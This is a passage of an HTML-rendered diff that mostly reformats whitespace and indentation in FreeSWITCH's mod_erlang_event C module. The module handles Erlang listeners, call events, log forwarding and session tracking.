</del><ins>+        if (type != ERL_STRING_EXT && type != ERL_BINARY_EXT) {        /* XXX no unicode or character codes > 255 */
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "XML fetch response contained non ASCII characters? (was type %d of size %d)\n", type,
+                                                 size);
</ins><span class="cx">                 return NULL;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(xmlstr = malloc(size + 1))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Memory Error\n");
</span><span class="cx">                 return NULL;
</span><span class="lines">@@ -453,7 +458,7 @@
</span><span class="cx">
</span><span class="cx">         ei_decode_string_or_binary(rep->buff, &rep->index, size, xmlstr);
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "got data %s after %d milliseconds!\n", xmlstr, i*10);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "got data %s after %d milliseconds!\n", xmlstr, i * 10);
</ins><span class="cx">
</span><span class="cx">         if (zstr(xmlstr)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No Result\n");
</span><span class="lines">@@ -476,14 +481,14 @@
</span><span class="cx"> {
</span><span class="cx">         int result;
</span><span class="cx">         switch_core_session_t *session;
</span><del>-        switch_event_t *call_event=NULL;
-        switch_channel_t *channel=NULL;
</del><ins>+        switch_event_t *call_event = NULL;
+        switch_channel_t *channel = NULL;
</ins><span class="cx">         ei_x_buff lbuf;
</span><span class="cx">
</span><span class="cx">         /* Send a message to the associated registered process to let it know there is a call.
</span><span class="cx">          Message is a tuple of the form {call, <call-event>}
</span><del>-        */
-        
</del><ins>+         */
+
</ins><span class="cx">         if (switch_event_create(&call_event, SWITCH_EVENT_CHANNEL_DATA) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_UUID_LOG(session_element->uuid_str), SWITCH_LOG_CRIT, "Memory Error!\n");
</span><span class="cx">                 return SWITCH_STATUS_MEMERR;
</span><span class="lines">@@ -501,39 +506,41 @@
</span><span class="cx">         switch_core_session_rwunlock(session);
</span><span class="cx">         switch_event_add_header_string(call_event, SWITCH_STACK_BOTTOM, "Content-Type", "command/reply");
</span><span class="cx">         switch_event_add_header_string(call_event, SWITCH_STACK_BOTTOM, "Reply-Text", "+OK\n");
</span><del>-        
</del><ins>+
</ins><span class="cx">         ei_x_new_with_version(&lbuf);
</span><span class="cx">         ei_x_encode_tuple_header(&lbuf, 2);
</span><span class="cx">         ei_x_encode_atom(&lbuf, "call");
</span><span class="cx">         ei_encode_switch_event(&lbuf, call_event);
</span><span class="cx">         switch_mutex_lock(listener->sock_mutex);
</span><del>-        switch_log_printf(SWITCH_CHANNEL_UUID_LOG(session_element->uuid_str), SWITCH_LOG_DEBUG, "Sending initial call event for %s\n", session_element->uuid_str);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_UUID_LOG(session_element->uuid_str), SWITCH_LOG_DEBUG, "Sending initial call event for %s\n",
+                                         session_element->uuid_str);
</ins><span class="cx">         result = ei_sendto(listener->ec, listener->sockfd, &session_element->process, &lbuf);
</span><span class="cx">
</span><span class="cx">         switch_mutex_unlock(listener->sock_mutex);
</span><span class="cx">
</span><span class="cx">         if (result) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_UUID_LOG(session_element->uuid_str), SWITCH_LOG_ERROR, "Failed to send call event for %s\n", session_element->uuid_str);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_UUID_LOG(session_element->uuid_str), SWITCH_LOG_ERROR, "Failed to send call event for %s\n",
+                                                 session_element->uuid_str);
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         ei_x_free(&lbuf);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t check_attached_sessions(listener_t *listener)
</span><span class="cx"> {
</span><del>-        session_elem_t *last,*sp, *removed;
</del><ins>+        session_elem_t *last, *sp, *removed;
</ins><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         void *pop;
</span><span class="cx">         /* check up on all the attached sessions -
</span><span class="cx">          if they have not yet sent an initial call event to the associated erlang process then do so
</span><span class="cx">          if they have pending events in their queues then send them
</span><span class="cx">          if the session has finished then clean it up
</span><del>-        */
</del><ins>+         */
</ins><span class="cx">         switch_mutex_lock(listener->session_mutex);
</span><span class="cx">         sp = listener->session_list;
</span><span class="cx">         last = NULL;
</span><del>-        while(sp) {
</del><ins>+        while (sp) {
</ins><span class="cx">                 removed = NULL;
</span><span class="cx">                 if (switch_test_flag(sp, LFLAG_WAITING_FOR_PID)) {
</span><span class="cx">                         sp = sp->next;
</span><span class="lines">@@ -561,11 +568,11 @@
</span><span class="cx">                         while (switch_queue_trypop(sp->event_queue, &pop) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_event_t *pevent = (switch_event_t *) pop;
</span><span class="cx">
</span><del>-                                /*switch_log_printf(SWITCH_CHANNEL_UUID_LOG(sp->uuid_str), SWITCH_LOG_DEBUG, "flushed event %s for %s\n", switch_event_name(pevent->event_id), sp->uuid_str);*/
</del><ins>+                                /*switch_log_printf(SWITCH_CHANNEL_UUID_LOG(sp->uuid_str), SWITCH_LOG_DEBUG, "flushed event %s for %s\n", switch_event_name(pevent->event_id), sp->uuid_str); */
</ins><span class="cx">
</span><span class="cx">                                 /* events from attached sessions are wrapped in a {call_event,<EVT>} tuple
</span><span class="cx">                                  to distinguish them from normal events (if they are sent to the same process)
</span><del>-                                */
</del><ins>+                                 */
</ins><span class="cx">
</span><span class="cx">                                 ei_x_new_with_version(&ebuf);
</span><span class="cx">                                 ei_x_encode_tuple_header(&ebuf, 2);
</span><span class="lines">@@ -579,7 +586,8 @@
</span><span class="cx">                                 switch_event_destroy(&pevent);
</span><span class="cx">                         }
</span><span class="cx">                         /* this session can be removed */
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_UUID_LOG(sp->uuid_str), SWITCH_LOG_DEBUG, "Destroy event for attached session for %s in state %s\n", sp->uuid_str, switch_channel_state_name(sp->channel_state));
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_UUID_LOG(sp->uuid_str), SWITCH_LOG_DEBUG, "Destroy event for attached session for %s in state %s\n",
+                                                         sp->uuid_str, switch_channel_state_name(sp->channel_state));
</ins><span class="cx">
</span><span class="cx">                         ei_x_new_with_version(&ebuf);
</span><span class="cx">                         ei_x_encode_atom(&ebuf, "call_hangup");
</span><span class="lines">@@ -598,8 +606,8 @@
</span><span class="cx">                         /* check event queue for this session */
</span><span class="cx">                         switch_event_t *pevent = (switch_event_t *) pop;
</span><span class="cx">
</span><del>-                        /*switch_log_printf(SWITCH_CHANNEL_UUID_LOG(sp->uuid_str), SWITCH_LOG_DEBUG, "popped event %s for %s\n", switch_event_name(pevent->event_id), sp->uuid_str);*/
-                        
</del><ins>+                        /*switch_log_printf(SWITCH_CHANNEL_UUID_LOG(sp->uuid_str), SWITCH_LOG_DEBUG, "popped event %s for %s\n", switch_event_name(pevent->event_id), sp->uuid_str); */
+
</ins><span class="cx">                         /* events from attached sessions are wrapped in a {call_event,<EVT>} tuple
</span><span class="cx">                          to distinguish them from normal events (if they are sent to the same process)
</span><span class="cx">                          */
</span><span class="lines">@@ -609,7 +617,7 @@
</span><span class="cx">                         ei_x_encode_tuple_header(&ebuf, 2);
</span><span class="cx">                         ei_x_encode_atom(&ebuf, "call_event");
</span><span class="cx">                         ei_encode_switch_event(&ebuf, pevent);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_mutex_lock(listener->sock_mutex);
</span><span class="cx">                         ei_sendto(listener->ec, listener->sockfd, &sp->process, &ebuf);
</span><span class="cx">                         switch_mutex_unlock(listener->sock_mutex);
</span><span class="lines">@@ -621,7 +629,7 @@
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_unlock(listener->session_mutex);
</span><span class="cx">         if (prefs.done) {
</span><del>-                return SWITCH_STATUS_FALSE; /* we're shutting down */
</del><ins>+                return SWITCH_STATUS_FALSE;        /* we're shutting down */
</ins><span class="cx">         } else {
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="lines">@@ -635,34 +643,34 @@
</span><span class="cx">         if (switch_test_flag(listener, LFLAG_LOG)) {
</span><span class="cx">                 if (switch_queue_trypop(listener->log_queue, &pop) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_node_t *dnode = (switch_log_node_t *) pop;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (dnode->data) {
</span><span class="cx">                                 ei_x_buff lbuf;
</span><span class="cx">                                 ei_x_new_with_version(&lbuf);
</span><span class="cx">                                 ei_x_encode_tuple_header(&lbuf, 2);
</span><span class="cx">                                 ei_x_encode_atom(&lbuf, "log");
</span><span class="cx">                                 ei_x_encode_list_header(&lbuf, 7);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 ei_x_encode_tuple_header(&lbuf, 2);
</span><span class="cx">                                 ei_x_encode_atom(&lbuf, "level");
</span><del>-                                ei_x_encode_char(&lbuf, (unsigned char)dnode->level);
-                                
</del><ins>+                                ei_x_encode_char(&lbuf, (unsigned char) dnode->level);
+
</ins><span class="cx">                                 ei_x_encode_tuple_header(&lbuf, 2);
</span><span class="cx">                                 ei_x_encode_atom(&lbuf, "text_channel");
</span><del>-                                ei_x_encode_char(&lbuf, (unsigned char)dnode->level);
-                                
</del><ins>+                                ei_x_encode_char(&lbuf, (unsigned char) dnode->level);
+
</ins><span class="cx">                                 ei_x_encode_tuple_header(&lbuf, 2);
</span><span class="cx">                                 ei_x_encode_atom(&lbuf, "file");
</span><span class="cx">                                 ei_x_encode_string(&lbuf, dnode->file);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 ei_x_encode_tuple_header(&lbuf, 2);
</span><span class="cx">                                 ei_x_encode_atom(&lbuf, "func");
</span><span class="cx">                                 ei_x_encode_string(&lbuf, dnode->func);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 ei_x_encode_tuple_header(&lbuf, 2);
</span><span class="cx">                                 ei_x_encode_atom(&lbuf, "line");
</span><del>-                                ei_x_encode_ulong(&lbuf, (unsigned long)dnode->line);
-                                
</del><ins>+                                ei_x_encode_ulong(&lbuf, (unsigned long) dnode->line);
+
</ins><span class="cx">                                 ei_x_encode_tuple_header(&lbuf, 2);
</span><span class="cx">                                 ei_x_encode_atom(&lbuf, "data");
</span><span class="cx">                                 ei_x_encode_string(&lbuf, dnode->data);
</span><span class="lines">@@ -670,13 +678,13 @@
</span><span class="cx">                                 ei_x_encode_tuple_header(&lbuf, 2);
</span><span class="cx">                                 ei_x_encode_atom(&lbuf, "user_data");
</span><span class="cx">                                 ei_x_encode_string(&lbuf, switch_str_nil(dnode->userdata));
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 ei_x_encode_empty_list(&lbuf);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_mutex_lock(listener->sock_mutex);
</span><span class="cx">                                 ei_sendto(listener->ec, listener->sockfd, &listener->log_process, &lbuf);
</span><span class="cx">                                 switch_mutex_unlock(listener->sock_mutex);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 ei_x_free(&lbuf);
</span><span class="cx">                                 switch_log_node_free(&dnode);
</span><span class="cx">                         }
</span><span class="lines">@@ -686,19 +694,19 @@
</span><span class="cx">
</span><span class="cx"> static void check_event_queue(listener_t *listener)
</span><span class="cx"> {
</span><del>-        void* pop;
</del><ins>+        void *pop;
</ins><span class="cx">
</span><span class="cx">         /* send out any pending crap in the event queue */
</span><span class="cx">         if (switch_test_flag(listener, LFLAG_EVENTS)) {
</span><span class="cx">                 if (switch_queue_trypop(listener->event_queue, &pop) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">
</span><span class="cx">                         switch_event_t *pevent = (switch_event_t *) pop;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         ei_x_buff ebuf;
</span><span class="cx">                         ei_x_new_with_version(&ebuf);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         ei_encode_switch_event(&ebuf, pevent);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_mutex_lock(listener->sock_mutex);
</span><span class="cx">                         ei_sendto(listener->ec, listener->sockfd, &listener->event_process, &ebuf);
</span><span class="cx">                         switch_mutex_unlock(listener->sock_mutex);
</span><span class="lines">@@ -709,17 +717,16 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static void handle_exit(listener_t *listener, erlang_pid *pid)
</del><ins>+static void handle_exit(listener_t *listener, erlang_pid * pid)
</ins><span class="cx"> {
</span><span class="cx">         session_elem_t *s;
</span><span class="cx">
</span><del>-        remove_binding(NULL, pid); /* TODO - why don't we pass the listener as the first argument? */
</del><ins>+        remove_binding(NULL, pid);        /* TODO - why don't we pass the listener as the first argument? */
</ins><span class="cx">         if ((s = find_session_elem_by_pid(listener, pid))) {
</span><span class="cx">                 if (s->channel_state < CS_HANGUP) {
</span><span class="cx">                         switch_core_session_t *session;
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_UUID_LOG(s->uuid_str), SWITCH_LOG_WARNING, "Outbound session for %s exited unexpectedly!\n",
-                                        s->uuid_str);
-                        
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_UUID_LOG(s->uuid_str), SWITCH_LOG_WARNING, "Outbound session for %s exited unexpectedly!\n", s->uuid_str);
+
</ins><span class="cx">                         if ((session = switch_core_session_locate(s->uuid_str))) {
</span><span class="cx">                                 switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">                                 switch_channel_set_private(channel, "_erlang_session_", NULL);
</span><span class="lines">@@ -771,7 +778,7 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static void listener_main_loop(listener_t *listener)
</del><ins>+static void listener_main_loop(listener_t *listener)
</ins><span class="cx"> {
</span><span class="cx">         int status = 1;
</span><span class="cx">
</span><span class="lines">@@ -779,72 +786,73 @@
</span><span class="cx">                 erlang_msg msg;
</span><span class="cx">                 ei_x_buff buf;
</span><span class="cx">                 ei_x_buff rbuf;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 ei_x_new(&buf);
</span><span class="cx">                 ei_x_new_with_version(&rbuf);
</span><span class="cx">
</span><span class="cx">                 /* do we need the mutex when reading? */
</span><del>-                /*switch_mutex_lock(listener->sock_mutex);*/
</del><ins>+                /*switch_mutex_lock(listener->sock_mutex); */
</ins><span class="cx">                 status = ei_xreceive_msg_tmo(listener->sockfd, &msg, &buf, 100);
</span><del>-                /*switch_mutex_unlock(listener->sock_mutex);*/
</del><ins>+                /*switch_mutex_unlock(listener->sock_mutex); */
</ins><span class="cx">
</span><del>-                switch(status) {
-                        case ERL_TICK :
-                                break;
-                        case ERL_MSG :
-                                switch(msg.msgtype) {
-                                        case ERL_SEND :
</del><ins>+                switch (status) {
+                case ERL_TICK:
+                        break;
+                case ERL_MSG:
+                        switch (msg.msgtype) {
+                        case ERL_SEND:
</ins><span class="cx"> #ifdef EI_DEBUG
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_send\n");
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_send\n");
</ins><span class="cx">
</span><del>-                                                ei_x_print_msg(&buf, &msg.from, 0);
-                                                /*ei_s_print_term(&pbuf, buf.buff, &i);*/
-                                                /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_send was message %s\n", pbuf);*/
</del><ins>+                                ei_x_print_msg(&buf, &msg.from, 0);
+                                /*ei_s_print_term(&pbuf, buf.buff, &i); */
+                                /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_send was message %s\n", pbuf); */
</ins><span class="cx"> #endif
</span><span class="cx">
</span><del>-                                                if (handle_msg(listener, &msg, &buf, &rbuf)) {
-                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "handle_msg requested exit\n");
-                                                        return;
-                                                }
-                                                break;
-                                        case ERL_REG_SEND :
</del><ins>+                                if (handle_msg(listener, &msg, &buf, &rbuf)) {
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "handle_msg requested exit\n");
+                                        return;
+                                }
+                                break;
+                        case ERL_REG_SEND:
</ins><span class="cx"> #ifdef EI_DEBUG
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_reg_send to %s\n", msg.toname);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_reg_send to %s\n", msg.toname);
</ins><span class="cx">
</span><del>-                                                ei_x_print_reg_msg(&buf, msg.toname, 0);
-                                                /*i = 1;*/
-                                                /*ei_s_print_term(&pbuf, buf.buff, &i);*/
-                                                /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_reg_send was message %s\n", pbuf);*/
</del><ins>+                                ei_x_print_reg_msg(&buf, msg.toname, 0);
+                                /*i = 1; */
+                                /*ei_s_print_term(&pbuf, buf.buff, &i); */
+                                /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_reg_send was message %s\n", pbuf); */
</ins><span class="cx"> #endif
</span><span class="cx">
</span><del>-                                                if (handle_msg(listener, &msg, &buf, &rbuf)) {
-                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "handle_msg requested exit\n");
-                                                 return;
-                                                }
-                                                break;
-                                        case ERL_LINK :
-                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_link\n");
-                                                break;
-                                        case ERL_UNLINK :
-                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_unlink\n");
-                                                break;
-                                        case ERL_EXIT :
-                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_exit from %s <%d.%d.%d>\n", msg.from.node, msg.from.creation, msg.from.num, msg.from.serial);
-                                                handle_exit(listener, &msg.from);
-                                                break;
-                                        default :
-                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "unexpected msg type %d\n", (int)(msg.msgtype));
-                                                break;
</del><ins>+                                if (handle_msg(listener, &msg, &buf, &rbuf)) {
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "handle_msg requested exit\n");
+                                        return;
</ins><span class="cx">                                 }
</span><span class="cx">                                 break;
</span><del>-                        case ERL_ERROR :
-                                if (erl_errno != ETIMEDOUT && erl_errno != EAGAIN) {
-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_error\n");
-                                }
</del><ins>+                        case ERL_LINK:
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_link\n");
</ins><span class="cx">                                 break;
</span><del>-                        default :
-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "unexpected status %d \n", status);
</del><ins>+                        case ERL_UNLINK:
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_unlink\n");
</ins><span class="cx">                                 break;
</span><ins>+                        case ERL_EXIT:
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_exit from %s <%d.%d.%d>\n", msg.from.node, msg.from.creation, msg.from.num,
+                                                                 msg.from.serial);
+                                handle_exit(listener, &msg.from);
+                                break;
+                        default:
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "unexpected msg type %d\n", (int) (msg.msgtype));
+                                break;
+                        }
+                        break;
+                case ERL_ERROR:
+                        if (erl_errno != ETIMEDOUT && erl_errno != EAGAIN) {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_error\n");
+                        }
+                        break;
+                default:
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "unexpected status %d \n", status);
+                        break;
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 ei_x_free(&buf);
</span><span class="lines">@@ -859,7 +867,7 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_bool_t check_inbound_acl(listener_t* listener)
</del><ins>+static switch_bool_t check_inbound_acl(listener_t *listener)
</ins><span class="cx"> {
</span><span class="cx">         /* check acl to see if inbound connection is allowed */
</span><span class="cx">         if (prefs.acl_count && !zstr(listener->remote_ip)) {
</span><span class="lines">@@ -906,7 +914,7 @@
</span><span class="cx"> static void *SWITCH_THREAD_FUNC listener_run(switch_thread_t *thread, void *obj)
</span><span class="cx"> {
</span><span class="cx">         listener_t *listener = (listener_t *) obj;
</span><del>-        session_elem_t* s;
</del><ins>+        session_elem_t *s;
</ins><span class="cx">         switch_core_session_t *session;
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(globals.listener_mutex);
</span><span class="lines">@@ -921,11 +929,11 @@
</span><span class="cx">                 if (zstr(listener->remote_ip)) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Connection Open\n");
</span><span class="cx">                 } else {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Connection Open from %s\n", listener->remote_ip);/*, listener->remote_port);*/
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Connection Open from %s\n", listener->remote_ip);        /*, listener->remote_port); */
</ins><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 add_listener(listener);
</span><del>-                 listener_main_loop(listener);
</del><ins>+                listener_main_loop(listener);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* clean up */
</span><span class="lines">@@ -934,7 +942,7 @@
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Session complete, waiting for children\n");
</span><span class="cx">
</span><span class="cx">         switch_thread_rwlock_wrlock(listener->rwlock);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (listener->sockfd) {
</span><span class="cx">                 close_socket(&listener->sockfd);
</span><span class="cx">         }
</span><span class="lines">@@ -949,7 +957,7 @@
</span><span class="cx">
</span><span class="cx">         /* clean up all the attached sessions */
</span><span class="cx">         switch_mutex_lock(listener->session_mutex);
</span><del>-        /* TODO destroy memory pools since they're not children of the listener's pool*/
</del><ins>+        /* TODO destroy memory pools since they're not children of the listener's pool */
</ins><span class="cx">         for (s = listener->session_list; s; s = s->next) {
</span><span class="cx">                 if ((session = switch_core_session_locate(s->uuid_str))) {
</span><span class="cx">                         switch_channel_clear_flag(switch_core_session_get_channel(session), CF_CONTROLLED);
</span><span class="lines">@@ -1020,7 +1028,7 @@
</span><span class="cx">                                         else
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid compatability release '%s' specified\n", val);
</span><span class="cx">                                 } else if (!strcmp(var, "shortname")) {
</span><del>-                                                prefs.shortname = switch_true(val);
</del><ins>+                                        prefs.shortname = switch_true(val);
</ins><span class="cx">                                 } else if (!strcmp(var, "encoding")) {
</span><span class="cx">                                         if (!strcasecmp(val, "string")) {
</span><span class="cx">                                                 prefs.encoding = ERLANG_STRING;
</span><span class="lines">@@ -1061,10 +1069,10 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-static listener_t* new_listener(struct ei_cnode_s *ec, int clientfd)
</del><ins>+static listener_t *new_listener(struct ei_cnode_s *ec, int clientfd)
</ins><span class="cx"> {
</span><span class="cx">         switch_memory_pool_t *listener_pool = NULL;
</span><del>-        listener_t* listener = NULL;
</del><ins>+        listener_t *listener = NULL;
</ins><span class="cx">
</span><span class="cx">         if (switch_core_new_memory_pool(&listener_pool) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "OH OH no pool\n");
</span><span class="lines">@@ -1080,7 +1088,7 @@
</span><span class="cx">         switch_thread_rwlock_create(&listener->rwlock, listener_pool);
</span><span class="cx">         switch_queue_create(&listener->event_queue, SWITCH_CORE_QUEUE_LEN, listener_pool);
</span><span class="cx">         switch_queue_create(&listener->log_queue, SWITCH_CORE_QUEUE_LEN, listener_pool);
</span><del>-                
</del><ins>+
</ins><span class="cx">         listener->sockfd = clientfd;
</span><span class="cx">         listener->pool = listener_pool;
</span><span class="cx">         listener_pool = NULL;
</span><span class="lines">@@ -1095,24 +1103,24 @@
</span><span class="cx">         return listener;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static listener_t* new_outbound_listener(char* node)
</del><ins>+static listener_t *new_outbound_listener(char *node)
</ins><span class="cx"> {
</span><del>-        listener_t* listener = NULL;
</del><ins>+        listener_t *listener = NULL;
</ins><span class="cx">         struct ei_cnode_s ec;
</span><span class="cx">         int clientfd;
</span><span class="cx">
</span><del>-        if (SWITCH_STATUS_SUCCESS==initialise_ei(&ec)) {
</del><ins>+        if (SWITCH_STATUS_SUCCESS == initialise_ei(&ec)) {
</ins><span class="cx"> #ifdef WIN32
</span><span class="cx">                 WSASetLastError(0);
</span><span class="cx"> #else
</span><span class="cx">                 errno = 0;
</span><span class="cx"> #endif
</span><del>-                if ((clientfd=ei_connect(&ec,node)) < 0) {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error connecting to node %s (erl_errno=%d, errno=%d)!\n",node,erl_errno,errno);
</del><ins>+                if ((clientfd = ei_connect(&ec, node)) < 0) {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error connecting to node %s (erl_errno=%d, errno=%d)!\n", node, erl_errno, errno);
</ins><span class="cx">                         return NULL;
</span><span class="cx">                 }
</span><del>-                listener = new_listener(&ec,clientfd);
-                listener->peer_nodename = switch_core_strdup(listener->pool,node);
</del><ins>+                listener = new_listener(&ec, clientfd);
+                listener->peer_nodename = switch_core_strdup(listener->pool, node);
</ins><span class="cx">         }
</span><span class="cx">         return listener;
</span><span class="cx"> }
</span><span class="lines">@@ -1122,8 +1130,8 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_channel_state_t state = switch_channel_get_state(channel);
</span><span class="cx">         session_elem_t *session_element = switch_channel_get_private(channel, "_erlang_session_");
</span><del>-        /*listener_t* listener = switch_channel_get_private(channel, "_erlang_listener_");*/
-        
</del><ins>+        /*listener_t* listener = switch_channel_get_private(channel, "_erlang_listener_"); */
+
</ins><span class="cx">         if (session_element) {
</span><span class="cx">                 session_element->channel_state = state;
</span><span class="cx">                 if (state == CS_DESTROY) {
</span><span class="lines">@@ -1132,17 +1140,18 @@
</span><span class="cx">                         switch_set_flag(session_element, LFLAG_SESSION_COMPLETE);
</span><span class="cx">                 }
</span><span class="cx">         } else {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "unable to update channel state for %s to %s\n", switch_core_session_get_uuid(session), switch_channel_state_name(state));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "unable to update channel state for %s to %s\n", switch_core_session_get_uuid(session),
+                                                 switch_channel_state_name(state));
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-session_elem_t *session_elem_create(listener_t* listener, switch_core_session_t *session)
</del><ins>+session_elem_t *session_elem_create(listener_t *listener, switch_core_session_t *session)
</ins><span class="cx"> {
</span><span class="cx">         /* create a session list element */
</span><span class="cx">         switch_memory_pool_t *session_elem_pool;
</span><del>-        session_elem_t* session_element;/* = malloc(sizeof(*session_element));*/
</del><ins>+        session_elem_t *session_element;        /* = malloc(sizeof(*session_element)); */
</ins><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">
</span><span class="cx">         if (switch_core_new_memory_pool(&session_elem_pool) != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -1157,51 +1166,51 @@
</span><span class="cx">         memcpy(session_element->uuid_str, switch_core_session_get_uuid(session), SWITCH_UUID_FORMATTED_LENGTH);
</span><span class="cx">         session_element->pool = session_elem_pool;
</span><span class="cx">         session_elem_pool = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_queue_create(&session_element->event_queue, SWITCH_CORE_QUEUE_LEN, session_element->pool);
</span><span class="cx">         switch_mutex_init(&session_element->flag_mutex, SWITCH_MUTEX_NESTED, session_element->pool);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_channel_set_private(channel, "_erlang_session_", session_element);
</span><span class="cx">         switch_channel_set_private(channel, "_erlang_listener_", listener);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_event_hook_add_state_change(session, state_handler);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return session_element;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-session_elem_t* attach_call_to_registered_process(listener_t* listener, char* reg_name, switch_core_session_t *session)
